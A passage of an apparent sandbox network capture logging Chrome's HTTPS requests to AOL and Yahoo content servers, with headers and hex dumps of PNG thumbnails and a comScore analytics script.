if(a.co
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 61 29 3a 22 73 74 72 69 6e 67 22 21 3d 3d 62 3f 21 31 3a 42 63 2e 74 65 73 74 28 61 29 7d 3b 5f 2e 44 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 5f 2e 79 28 4e 75 6d 62 65 72 2c 22 69 73 46 69 6e 69 74 65 22 29 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 61 29 29 74 68 72 6f 77 20 74 63 28 22 65 6e 75 6d 22 29 3b 72 65 74 75 72 6e 20 61 7c 30 7d 3b 45 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 3a 5f 2e 44 63 28 61 29 7d 3b 5f 2e 46 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 3a 5f 2e 79 28 4e 75 6d 62 65 72 2c 22 69 73 46 69 6e 69 74 65 22 29 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 Data Ascii: .call(Number,a):"string"!==b?!1:Bc.test(a)};_.Dc=function(a){if(!_.y(Number,"isFinite").call(Number,a))throw tc("enum");return a\|0};Ec=function(a){return null==a?a:_.Dc(a)};_.Fc=function(a){return null==a?a:_.y(Number,"isFinite").call(Number,a)?a\|0:void 0
2024-05-23 22:35:00 UTC	1390	IN	Data Raw: 63 28 53 74 72 69 6e 67 28 61 29 29 29 72 65 74 75 72 6e 20 61 3b 4a 62 28 61 29 3b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 49 62 2b 28 48 62 3e 3e 3e 30 29 7d 3b 4f 63 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5f 2e 79 28 4d 61 74 68 2c 22 74 72 75 6e 63 22 29 2e 63 61 6c 6c 28 4d 61 74 68 2c 61 29 3b 69 66 28 21 5f 2e 79 28 4e 75 6d 62 65 72 2c 22 69 73 53 61 66 65 49 6e 74 65 67 65 72 22 29 2e 63 61 6c 6c 28 4e 75 6d 62 65 72 2c 61 29 29 7b 4a 62 28 61 29 3b 76 61 72 20 62 3d 48 62 2c 63 3d 49 62 3b 69 66 28 61 3d 63 26 32 31 34 37 34 38 33 36 34 38 29 62 3d 7e 62 2b 31 3e 3e 3e 30 2c 63 3d 7e 63 3e 3e 3e 30 2c 30 3d 3d 62 26 26 28 63 3d 63 2b 31 3e 3e 3e 30 29 3b 62 3d 34 32 39 34 39 36 37 32 39 36 2a 63 2b 28 62 3e 3e 3e 30 29 3b 61 Data Ascii: c(String(a)))return a;Jb(a);return 4294967296Ib+(Hb>>>0)};Oc=function(a){a=_.y(Math,"trunc").call(Math,a);if(!_.y(Number,"isSafeInteger").call(Number,a)){Jb(a);var b=Hb,c=Ib;if(a=c&2147483648)b=~b+1>>>0,c=~c>>>0,0==b&&(c=c+1>>>0);b=4294967296c+(b>>>0);a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.6	50061	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2022-08%2Fad2d2080-2313-11ed-9e3d-51ec3c56fd90&client=76f99bdb8f78cd44cc0b&signature=10ddf11bf32700a5835fe3df94d55446705089b2 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 140407 Cache-Control: public, max-age=2592000 Cache-Tag: 248147822177007699352378062138969445230,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000133-IAD cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 104 Content-Type: image/png Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 248147822177007699352378062138969445230,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "9a6ea13acfa70b31d98e1495478ba842" Expiration: expiry-date="Sat, 20 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sun, 21 Jan 2024 22:37:41 GMT Server: ECAcc (lhd/35A2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=217,owidth=400,oheight=401,obytes=16218,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000125-IAD X-Timer: S1711179293.982695,VS0,VE1 Content-Length: 217 Connection: close
2024-05-23 22:35:00 UTC	217	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 04 03 00 00 00 ed dd e2 52 00 00 00 2d 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c7 c7 c7 d1 d1 d1 a7 a7 a7 ba ba ba cd cd cd e6 e6 e6 4b bd 07 18 00 00 00 08 74 52 4e 53 00 09 9a f9 d9 97 31 c1 52 98 bd 89 00 00 00 53 49 44 41 54 08 d7 63 60 60 48 75 36 09 63 00 02 a1 0e 20 50 64 60 60 ac 00 31 da 05 18 98 3a c0 40 81 21 03 c2 68 63 88 80 30 5a 19 3c 20 8c 16 06 8b 95 b3 56 cd 99 75 b6 99 c1 62 e6 be 9d a7 cf ee 6c 46 48 c1 15 c3 b5 c3 0d 84 5b 01 b7 14 e6 0c 00 31 37 36 24 7b bb 01 f3 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRR-PLTEGpLKtRNS1RSIDATc``Hu6c Pd``1:@!hc0Z< VublFH[176${IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.6	50062	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	565	OUT	GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F291fe6d0-1246-11ec-9eb7-5392da65195b&client=76f99bdb8f78cd44cc0b&signature=ef85e8cf2223994c333ea8e9159b98ffe0bc6080 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	1511	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53591 Cache-Control: public, max-age=2592000 Cache-Tag: 242478970273792402798397858869058529945,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100087-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:35:00 GMT Edge-Cache-Tag: 242478970273792402798397858869058529945,334618087501217860398821940360977450486,ae7a14591aaf8d474cdb3f92111c923e Etag: "fb63bb3ad5a7073858b9e60838b00c27" Expiration: expiry-date="Wed, 31 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 01 Feb 2024 18:22:02 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35A6) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=16,height=16,bytes=293,owidth=400,oheight=400,obytes=75663,ef=(1,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100147-IAD X-Timer: S1711266108.662882,VS0,VE2 Content-Length: 293 Connection: close
2024-05-23 22:35:00 UTC	293	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 4e 50 4c 54 45 47 70 4c 00 c6 ff 00 c6 ff 61 dc fd 00 c6 ff 00 c6 ff 00 c6 ff 00 c6 ff 00 c6 ff 00 c6 ff c8 f3 fd fa fe fe af ed fd 11 ca fe dc f7 fe bc f0 fd 94 e7 fd 6c de fd ea fa fd 78 e1 fc 3b d3 fe 31 d1 fe 22 ce fe 45 d5 fd 49 d6 fd 43 d5 fd 42 31 89 89 00 00 00 0a 74 52 4e 53 00 c1 ff ff 97 f9 d9 09 9a 31 a3 db f8 54 00 00 00 7c 49 44 41 54 18 d3 65 cf d7 11 02 31 0c 04 d0 bd 95 a3 e4 74 11 e8 bf 51 3e 60 18 c0 af 80 0d 00 80 ec 82 f7 c1 65 bc c4 c4 b7 14 01 20 2e fc 58 22 80 c4 2f 09 c8 fc 91 e1 f6 a6 0f 92 64 d5 8b 74 08 47 1b 4d 45 4b ef 3a f4 0c f0 87 95 ad 98 58 2f 66 65 78 78 d9 6a df cb d8 9a 9a ed 77 8f 70 48 bd d6 ba 4a 13 b9 ad 35 Data Ascii: PNGIHDR(-SNPLTEGpLalx;1"EICB1tRNS1T\|IDATe1tQ>`e .X"/dtGMEK:X/fexxjwpHJ5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.6	50070	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	534	OUT	GET /rx/ev/lib/comscore-7-8-min.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:00 UTC	867	IN	HTTP/1.1 200 OK x-amz-id-2: UexOmCjQzHUlk0fFUra+qc0Y8tGB1QiSRusBK0Pb8mbWjwD+hyAtGpIVmO5NHXArG/+0S6Amfk5Uoxa6WfWvHQ== x-amz-request-id: 8BBBS5M2FCAK6925 Date: Thu, 23 May 2024 10:14:48 GMT Last-Modified: Tue, 30 Jan 2024 22:19:06 GMT ETag: "d6c07551fbfa6d4e474a6af236654eb7" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=536112000 x-amz-version-id: pRWdF5IjTMPzGyD5TvgjnyYQLjumQpjr Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 181331 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 44413 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 61 6e 61 6c 79 74 69 63 73 3d 74 28 29 3a 28 6e 2e 6e 73 5f 3d 6e 2e 6e 73 5f 7c 7c 7b 7d 2c 6e 2e 6e 73 5f 2e 61 6e 61 6c 79 74 69 63 73 3d 74 28 29 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 3a 74 68 69 73 Data Ascii: !function(n,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.analytics=t():(n.ns_=n.ns_\|\|{},n.ns_.analytics=t())}("undefined"!=typeof self?self:this
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 72 20 74 2c 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3d 6e 7c 7c 7b 7d 3b 66 6f 72 28 76 61 72 20 69 3d 31 3b 69 3c 65 3b 69 2b 2b 29 69 66 28 74 3d 61 72 67 75 6d 65 6e 74 73 5b 69 5d 29 66 6f 72 28 76 61 72 20 72 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 72 29 26 26 28 6e 5b 72 5d 3d 74 5b 72 5d 29 3b 72 65 74 75 72 6e 20 6e 7d 2c 65 2e 68 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 69 66 28 74 3d 74 7c 7c 30 2c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 6e 29 72 65 74 75 72 6e 20 6e 3b 76 61 72 20 69 3b 69 66 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 7b 69 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 72 3d 30 2c 6f 3d 6e 2e 6c 65 6e 67 74 68 3b 72 3c 6f 3b 72 2b 2b 29 69 5b 72 5d 3d 65 2e Data Ascii: r t,e=arguments.length;n=n\|\|{};for(var i=1;i<e;i++)if(t=arguments[i])for(var r in t)t.hasOwnProperty(r)&&(n[r]=t[r]);return n},e.h=function(n,t){if(t=t\|\|0,"object"!=typeof n)return n;var i;if(n instanceof Array){i=[];for(var r=0,o=n.length;r<o;r++)i[r]=e.
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 6e 26 26 6e 75 6c 6c 21 3d 6e 7d 2c 69 2e 44 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 21 21 28 6e 26 26 6e 2e 63 6f 6e 73 74 72 75 63 74 6f 72 26 26 6e 2e 63 61 6c 6c 26 26 6e 2e 61 70 70 6c 79 29 7d 2c 69 2e 4e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 2c 6e 2e 65 78 70 6f 72 74 73 2e 4e 3d 69 2e 4e 2c 6e 2e 65 78 70 6f 72 74 73 2e 44 3d 69 2e 44 2c 6e 2e 65 78 70 6f 72 74 73 2e 41 3d 69 2e 41 2c 6e 2e 65 78 70 6f 72 74 73 2e 4c 3d 69 2e 4c 2c 6e 2e 65 78 70 6f 72 74 73 2e 43 3d 69 2e 43 2c 6e 2e 65 78 70 6f 72 74 73 2e 50 3d 69 2e 50 2c 6e 2e 65 78 70 6f 72 74 73 2e 49 3d 69 2e 49 2c 6e 2e 65 78 70 6f 72 74 73 2e Data Ascii: {return void 0!==n&&null!=n},i.D=function(n){return!!(n&&n.constructor&&n.call&&n.apply)},i.N=function(){return(new Date).getTime()},n.exports.N=i.N,n.exports.D=i.D,n.exports.A=i.A,n.exports.L=i.L,n.exports.C=i.C,n.exports.P=i.P,n.exports.I=i.I,n.exports.
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 32 7d 2c 6e 2e 65 78 70 6f 72 74 73 2e 55 3d 72 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 65 29 7b 76 61 72 20 69 3d 65 28 30 29 2c 72 3d 65 28 36 30 29 2c 6f 3d 65 28 36 31 29 2c 75 3d 65 28 36 29 2c 73 3d 65 28 36 32 29 2c 61 3d 65 28 36 36 29 2c 66 3d 65 28 36 37 29 2c 63 3d 65 28 36 38 29 2c 6c 3d 65 28 36 39 29 2c 64 3d 65 28 37 31 29 2c 76 3d 65 28 37 34 29 2c 5f 3d 65 28 37 35 29 2c 68 3d 65 28 37 36 29 2c 70 3d 65 28 37 37 29 2c 67 3d 65 28 37 38 29 2c 6d 3d 65 28 33 39 29 2c 79 3d 65 28 38 31 29 2c 62 3d 65 28 38 32 29 2c 53 3d 7b 57 3a 22 50 4c 41 54 46 4f 52 4d 22 2c 46 3a 22 64 65 66 61 75 6c 74 4c 69 76 65 45 6e 64 70 6f 69 6e 74 55 72 6c 22 2c 56 3a 22 64 65 66 61 75 6c 74 53 65 63 75 72 65 4c 69 76 65 45 6e 64 70 6f 69 6e 74 55 72 6c 22 Data Ascii: 2},n.exports.U=r},function(n,t,e){var i=e(0),r=e(60),o=e(61),u=e(6),s=e(62),a=e(66),f=e(67),c=e(68),l=e(69),d=e(71),v=e(74),_=e(75),h=e(76),p=e(77),g=e(78),m=e(39),y=e(81),b=e(82),S={W:"PLATFORM",F:"defaultLiveEndpointUrl",V:"defaultSecureLiveEndpointUrl"
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 65 6d 6f 76 65 43 6f 6e 74 65 78 74 43 68 61 6e 67 65 4c 69 73 74 65 6e 65 72 22 2c 50 6e 3a 22 61 64 64 45 6e 76 69 72 6f 6e 6d 65 6e 74 45 78 69 74 4c 69 73 74 65 6e 65 72 22 2c 41 6e 3a 22 72 65 6d 6f 76 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 45 78 69 74 4c 69 73 74 65 6e 65 72 22 2c 43 6e 3a 22 6f 76 65 72 72 69 64 65 43 6f 6c 6c 65 63 74 65 64 43 31 32 56 61 6c 75 65 22 2c 4c 6e 3a 22 64 65 66 61 75 6c 74 43 31 32 4f 76 65 72 72 69 64 65 56 61 6c 75 65 22 2c 44 6e 3a 22 67 65 74 50 6c 61 74 66 6f 72 6d 45 6e 76 69 72 6f 6e 6d 65 6e 74 50 72 6f 70 65 72 74 69 65 73 22 2c 4e 6e 3a 22 74 63 66 49 6e 74 65 67 72 61 74 69 6f 6e 22 2c 54 6e 3a 22 66 69 72 73 74 50 61 72 74 79 43 6f 6f 6b 69 65 22 7d 3b 6e 2e 65 78 70 6f 72 74 73 3d 6e 65 77 20 66 75 6e 63 74 Data Ascii: emoveContextChangeListener",Pn:"addEnvironmentExitListener",An:"removeEnvironmentExitListener",Cn:"overrideCollectedC12Value",Ln:"defaultC12OverrideValue",Dn:"getPlatformEnvironmentProperties",Nn:"tcfIntegration",Tn:"firstPartyCookie"};n.exports=new funct
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 72 44 52 62 41 57 4a 2f 45 6a 5a 6d 31 57 42 4c 42 56 4e 4d 69 54 4c 70 53 41 6b 56 36 73 6a 4f 49 72 55 73 30 33 78 64 55 45 6a 5c 6e 51 5a 4a 48 77 4f 47 4b 2b 4d 66 7a 46 61 5a 75 6b 6f 6f 30 71 41 73 45 4d 50 77 51 35 70 6f 73 76 30 4a 64 6b 42 64 55 47 68 4b 63 68 50 6b 36 2b 4e 59 6d 44 36 48 62 34 34 4c 6b 70 37 2f 61 5c 6e 51 6e 56 65 57 7a 76 66 41 50 51 79 54 4a 52 35 77 51 49 44 41 51 41 42 5c 6e 2d 2d 2d 2d 2d 45 4e 44 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 22 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 74 2e 57 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 7b 76 61 72 20 65 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 Data Ascii: rDRbAWJ/EjZm1WBLBVNMiTLpSAkV6sjOIrUs03xdUEj\nQZJHwOGK+MfzFaZukoo0qAsEMPwQ5posv0JdkBdUGhKchPk6+NYmD6Hb44Lkp7/a\nQnVeWzvfAPQyTJR5wQIDAQAB\n-----END PUBLIC KEY-----"}},function(n,t){t.Wn=function(n,t){if("undefined"!=typeof XMLHttpRequest){var e=new XMLHttpR
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 73 65 74 54 69 6d 65 6f 75 74 28 6e 2c 74 29 7d 2c 73 65 74 49 6e 74 65 72 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 73 65 74 49 6e 74 65 72 76 61 6c 28 6e 2c 74 29 7d 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6e 29 7d 2c 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 6e 29 7d 2c 68 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 70 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 2e 55 4e 4b 4e 4f 57 4e 7d 2c 67 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 Data Ascii: ){return setTimeout(n,t)},setInterval:function(n,t){return setInterval(n,t)},clearTimeout:function(n){return clearTimeout(n)},clearInterval:function(n){return clearInterval(n)},hn:function(){return a},pn:function(){return s.UNKNOWN},gn:function(){return a
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 6f 72 28 76 61 72 20 69 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 65 2e 59 6e 28 6e 2c 69 2c 74 5b 69 5d 29 7d 7d 3b 6e 2e 65 78 70 6f 72 74 73 2e 59 6e 3d 65 2e 59 6e 2c 6e 2e 65 78 70 6f 72 74 73 2e 7a 6e 3d 65 2e 7a 6e 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 6e 2e 65 78 70 6f 72 74 73 3d 7b 55 4e 4b 4e 4f 57 4e 3a 30 2c 55 4e 41 56 41 49 4c 41 42 4c 45 3a 31 2c 44 49 53 43 4f 4e 4e 45 43 54 45 44 3a 32 2c 43 4f 4e 4e 45 43 54 45 44 3a 33 2c 45 54 48 45 52 4e 45 54 3a 34 2c 57 49 46 49 3a 35 2c 57 57 41 4e 3a 36 2c 42 4c 55 45 54 4f 4f 54 48 3a 37 2c 45 4d 55 4c 41 54 4f 52 3a 38 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 65 29 7b 76 61 72 20 69 3d 65 28 30 29 3b 6e 2e 65 78 70 6f 72 74 73 3d 66 75 6e Data Ascii: or(var i in t)t.hasOwnProperty(i)&&e.Yn(n,i,t[i])}};n.exports.Yn=e.Yn,n.exports.zn=e.zn},function(n,t){n.exports={UNKNOWN:0,UNAVAILABLE:1,DISCONNECTED:2,CONNECTED:3,ETHERNET:4,WIFI:5,WWAN:6,BLUETOOTH:7,EMULATOR:8}},function(n,t,e){var i=e(0);n.exports=fun
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 38 2e 30 2b 32 33 31 30 30 35 30 35 30 39 22 2c 49 74 3a 21 30 2c 50 74 3a 35 65 33 2c 41 74 3a 21 30 2c 43 74 3a 65 28 32 31 29 2e 53 54 41 4e 44 41 52 44 2c 4c 74 3a 5b 22 63 31 22 2c 22 63 32 22 2c 22 63 61 32 22 2c 22 63 62 32 22 2c 22 63 63 32 22 2c 22 63 64 32 22 2c 22 6e 73 5f 73 69 74 65 22 2c 22 6e 73 5f 61 70 5f 61 6e 22 2c 22 6e 73 5f 61 70 5f 70 6e 22 2c 22 6e 73 5f 61 70 5f 70 76 22 2c 22 63 31 32 22 2c 22 63 61 31 32 22 2c 22 63 62 31 32 22 2c 22 63 63 31 32 22 2c 22 63 64 31 32 22 2c 22 6e 73 5f 61 6b 22 2c 22 6e 73 5f 61 72 22 2c 22 6e 61 6d 65 22 2c 22 6e 73 5f 61 70 5f 6e 69 22 2c 22 6e 73 5f 61 70 5f 65 63 22 2c 22 6e 73 5f 61 70 5f 65 76 22 2c 22 6e 73 5f 61 70 5f 64 65 76 69 63 65 22 2c 22 6e 73 5f 61 70 5f 69 64 22 2c 22 6e 73 5f 61 Data Ascii: 8.0+2310050509",It:!0,Pt:5e3,At:!0,Ct:e(21).STANDARD,Lt:["c1","c2","ca2","cb2","cc2","cd2","ns_site","ns_ap_an","ns_ap_pn","ns_ap_pv","c12","ca12","cb12","cc12","cd12","ns_ak","ns_ar","name","ns_ap_ni","ns_ap_ec","ns_ap_ev","ns_ap_device","ns_ap_id","ns_a
2024-05-23 22:35:00 UTC	1300	IN	Data Raw: 2c 22 6e 73 5f 73 74 5f 69 6c 70 63 22 2c 22 6e 73 5f 73 74 5f 69 6c 70 61 22 2c 22 6e 73 5f 73 74 5f 69 62 63 22 2c 22 6e 73 5f 73 74 5f 69 62 74 22 2c 22 6e 73 5f 73 74 5f 69 74 70 63 22 2c 22 6e 73 5f 73 74 5f 69 63 70 63 22 2c 22 6e 73 5f 73 74 5f 61 65 22 2c 22 6e 73 5f 73 74 5f 65 72 22 2c 22 6e 73 5f 73 74 5f 63 66 67 22 2c 22 6e 73 5f 73 74 5f 72 63 6e 22 2c 22 6e 73 5f 73 74 5f 63 70 6f 22 2c 22 6e 73 5f 73 74 5f 75 69 22 2c 22 63 33 22 2c 22 63 61 33 22 2c 22 63 62 33 22 2c 22 63 63 33 22 2c 22 63 64 33 22 2c 22 63 34 22 2c 22 63 61 34 22 2c 22 63 62 34 22 2c 22 63 63 34 22 2c 22 63 64 34 22 2c 22 63 36 22 2c 22 63 61 36 22 2c 22 63 62 36 22 2c 22 63 63 36 22 2c 22 63 64 36 22 2c 22 6e 73 5f 73 74 5f 62 6e 22 2c 22 6e 73 5f 73 74 5f 74 62 22 2c Data Ascii: ,"ns_st_ilpc","ns_st_ilpa","ns_st_ibc","ns_st_ibt","ns_st_itpc","ns_st_icpc","ns_st_ae","ns_st_er","ns_st_cfg","ns_st_rcn","ns_st_cpo","ns_st_ui","c3","ca3","cb3","cc3","cd3","c4","ca4","cb4","cc4","cd4","c6","ca6","cb6","cc6","cd6","ns_st_bn","ns_st_tb",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.6	50063	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:00 UTC	571	OUT	GET /images/dims?quality=80&thumbnail=400%2C300%2Cauto&image_uri=https%3A%2F%2Fmedia.zenfs.com%2Fen%2Faol_insider_articles_823%2F09a9cc471b1d8644caedce552f0a4524&client=76f99bdb8f78cd44cc0b&signature=f0f7126aab31aca9e0c66417c364c5a6db5544b4 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
